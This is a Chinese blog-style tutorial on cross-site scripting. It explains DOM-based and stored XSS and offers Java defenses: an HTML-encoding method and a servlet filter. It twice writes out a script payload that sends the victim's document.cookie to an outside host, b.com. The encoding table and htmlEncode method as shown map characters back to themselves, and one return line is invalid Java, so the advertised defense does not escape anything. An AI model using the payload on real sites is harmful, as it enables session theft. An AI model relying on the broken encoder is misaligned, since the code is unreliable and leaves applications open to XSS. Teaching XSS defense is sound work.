web安全漏洞之一——xss攻击
1. 什么是xss?
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击。
2. xss攻击的原理?
攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如:盗取用户Cookie、破坏页面结构、重定向到其它网站等。
3. xss攻击的分类?
3.1 DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
例如:有一个url,后面带有一个参数content,当a给b发送一个url:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当b点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把b在a.com中的cookie信息发送到b.com,这样就造成了b的用户名密码等信息泄露。
3.2 Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
例如: 网站a.com可以发文章,a登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时b和c看到了a发布的文章,当在查看a的文章时就都中招了,他们的cookie信息都发送到了a的服务器上,攻击成功!这个过程中,受害者是多个人。
4. 如何防止xss攻击?
方法一:对用户输入的内容进行过滤。
less-than character (<) | < |
greater-than character (>) | > |
ampersand character (&) | & |
double-quote character (") | " |
space character( ) | |
Any ASCII code character whose code is greater-than or equal to 0x80 | &#<number>, where <number> is the ASCII character value. |
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
具体到代码中就是这样:
private static String htmlEncode(char c) { switch(c) { case '&': return"&"; case '<': return"<"; case '>': return">"; case '"': return"""; case ' ': return" "; default: return c +""; } } /** 对传入的字符串str进行Html encode转换 */ public static String htmlEncode(String str) { if(str ==null || str.trim().equals("")) return str; StringBuilder encodeStrBuilder = new StringBuilder(); for (int i = 0, len = str.length(); i < len; i++) { encodeStrBuilder.append(htmlEncode(str.charAt(i))); } return encodeStrBuilder.toString(); }
方法二:使用过滤器
过滤器代码:
package com.comp.shp.web.filter; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class IllegalCharacterFilter implements Filter { private static final Logger LOGGER = LoggerFactory.getLogger(IllegalCharacterFilter.class); @Override public void init(FilterConfig filterConfig) throws ServletException { LOGGER.info("IllegalCharacterFilter init"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest servletrequest = (HttpServletRequest) request; //获取当前登录用户 String custNo = servletrequest.getRemoteUser(); //只有登陆的用户才能输入 if (StringUtils.isNotBlank(custNo)) { // 转换特殊字符,继续向下请求 chain.doFilter(new IllegalCharacterRequestWrapper(servletrequest), response); } else { chain.doFilter(servletrequest, response); } } @Override public void destroy() { LOGGER.info("IllegalCharacterFilter destroy"); } }IllegalCharacterRequestWrapper.java:
package com.comp.shp.web.filter; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; import org.apache.commons.lang3.StringUtils; public class IllegalCharacterRequestWrapper extends HttpServletRequestWrapper { public IllegalCharacterRequestWrapper(HttpServletRequest request) { super(request); } private String format(String paramValue) { return StringUtils.replaceEach(paramValue, new String[] { "<", ">", "'", "\"", "&" }, new String[] { "《", "》", "‘", "“", "&" }); } @Override public Object getAttribute(String name) { Object value = super.getAttribute(name); if (value instanceof String) { value = format(String.valueOf(value)); } return value; } @Override public String getParameter(String name) { String value = super.getParameter(name); if (value == null) return null; return format(value); } @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values != null) { for (int i = 0; i < values.length; i++) { values[i] = format(values[i]); } } return values; } @SuppressWarnings({ "rawtypes", "unchecked" }) @Override public Map getParameterMap() { HashMap paramMap = (HashMap) super.getParameterMap(); paramMap = (HashMap) paramMap.clone(); for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext();) { Map.Entry entry = (Map.Entry) iterator.next(); String[] values = (String[]) entry.getValue(); for (int i = 0; i < values.length; i++) { if (StringUtils.isNotEmpty(values[i])) { values[i] = format(values[i]); } } entry.setValue(values); } return paramMap; } }最后将过滤器配置到web.xml里: